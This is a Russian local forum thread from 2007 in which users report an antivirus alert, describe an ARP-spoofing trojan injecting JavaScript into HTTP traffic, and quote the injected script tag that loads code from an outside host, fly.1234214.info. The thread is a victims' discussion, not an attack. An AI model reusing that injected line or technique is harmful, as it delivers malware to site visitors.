Вирус при входе на локальные форумы

Phenyx · 14.11.2007, 13:20

Внимание! Проверьте СВОИ компьютеры на вирусы!

Цитата:

А вирус кажется называется Trojan-Downloader.JS. Он, рассылая ARP пакеты, подменяет собой шлюз и начинает работать как прокси между клиентом и настоящим шлюзом, при этом добавляя в проходящий через него HTTP трафик JavaScript-код для загрузки трояна, предположительно он также моджет собирать пароли из идущего "мимо" трафика.

Вот тут еще.

Вобщем болеет кто-то в сети.. Сервера тут ни причем.
отредактировал mixan

Первое сообщение темы:

Цитата:

Каспер говорит, что на форуме троян
Самая первая строка исходного текста сайта <script language="javascript" src="http://fly.1234214.info/main.js"></script>
Интересно, что бы это могло значить? Такое только у меня или нет?
После полной проверки такой же троян найден в C:\Users\Роман\AppData\Roaming\Opera\Opera 9\profile\cache4\opr00CCT.js

Sky · 14.11.2007, 14:10

Раньше такая же фигня была, когда сидел на висте, потом не помню вроде сама собой решилась.

Amatory · 14.11.2007, 14:12

У меня тоже самое

fashuga · 14.11.2007, 14:21

у мя DR Web вроде не чо похожего не нашол

Phenyx · 14.11.2007, 14:23

У кого нибудь в исходном тексте форума есть строка <script language="javascript" src="http://fly.1234214.info/main.js"></script>?

Phenyx · 14.11.2007, 14:26

Интересно, данная строка исчезла на всех страницах форума, и Каспер тоже ругаться перестал

. Значит кто-то что-то сделал, и на самом деле троян был на форуме

Sky · 14.11.2007, 16:32

И тут атакуют нигде от хакеров прям спрятаться незяя)))

spamm · 14.11.2007, 23:42

есть такое дело.
без антивирусника поаккуратнее.
Глори ты зачем нам форум заразил ? проверься на вирусы

Sky · 15.11.2007, 15:58

Ага!!! вот кто тут пошалил))))

Igor_B · 15.11.2007, 18:37

Вирусы продолжают работать без сбоев

Бум лечить, или пусть живут?

14.11.2007, 14:10	#2 (permalink)
Sky Child of Darkness Регистрация: 24.02.2007 Адрес: 2 Железнодорожная, д.38 Возраст: 22 Сообщений: 771 Репутация: 22	Раньше такая же фигня была, когда сидел на висте, потом не помню вроде сама собой решилась. __________________ http://sky.62live.ru/ ftp://sky.62live.ru/

14.11.2007, 14:21	#4 (permalink)
fashuga Разведчик Регистрация: 07.10.2007 Адрес: Песочня Возраст: 20 Сообщений: 451 Репутация: 78	у мя DR Web вроде не чо похожего не нашол __________________ Это сообщение заговорено потомственным колдуном, целителем и магом в девятом поколении, его модерирование ведет к половому бессилию, венцу безбрачия и диарее!

14.11.2007, 16:32	#7 (permalink)
Sky Child of Darkness Регистрация: 24.02.2007 Адрес: 2 Железнодорожная, д.38 Возраст: 22 Сообщений: 771 Репутация: 22	И тут атакуют нигде от хакеров прям спрятаться незяя))) __________________ http://sky.62live.ru/ ftp://sky.62live.ru/

15.11.2007, 15:58	#9 (permalink)
Sky Child of Darkness Регистрация: 24.02.2007 Адрес: 2 Железнодорожная, д.38 Возраст: 22 Сообщений: 771 Репутация: 22	Ага!!! вот кто тут пошалил)))) __________________ http://sky.62live.ru/ ftp://sky.62live.ru/

15.11.2007, 18:37	#10 (permalink)
Igor_B Местный Регистрация: 21.03.2007 Адрес: Кальная, 22 Сообщений: 1,710 Репутация: 219 Провайдер: ЭР-Телеком	Вирусы продолжают работать без сбоев Бум лечить, или пусть живут? __________________ Ваша подпись не может содержать более 180 символов с учётом BB кодов. Ваша подпись содержит слишком много строк и должна быть сжата. Вам разрешено разместить не более 2 строк.

14.11.2007, 14:12	#3 (permalink)
Amatory Местный Регистрация: 10.04.2007 Сообщений: 246 Репутация: 12 Провайдер: Домолинк	У меня тоже самое

14.11.2007, 14:23	#5 (permalink)
Phenyx Местный Регистрация: 14.05.2007 Адрес: 172.21.x.x + Домолинк Возраст: 27 Сообщений: 213 Репутация: 13 Провайдер: Домолинк	У кого нибудь в исходном тексте форума есть строка <script language="javascript" src="http://fly.1234214.info/main.js"></script>?

14.11.2007, 14:26	#6 (permalink)
Phenyx Местный Регистрация: 14.05.2007 Адрес: 172.21.x.x + Домолинк Возраст: 27 Сообщений: 213 Репутация: 13 Провайдер: Домолинк	Интересно, данная строка исчезла на всех страницах форума, и Каспер тоже ругаться перестал . Значит кто-то что-то сделал, и на самом деле троян был на форуме

14.11.2007, 23:42	#8 (permalink)
spamm Местный Регистрация: 08.03.2007 Адрес: Рязань Возраст: 32 Сообщений: 803 Репутация: 287 Провайдер: Мультинекс	есть такое дело. без антивирусника поаккуратнее. Глори ты зачем нам форум заразил ? проверься на вирусы

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Опции темы
Версия для печати Отправить по электронной почте
Опции просмотра
Линейный вид Комбинированный вид Древовидный вид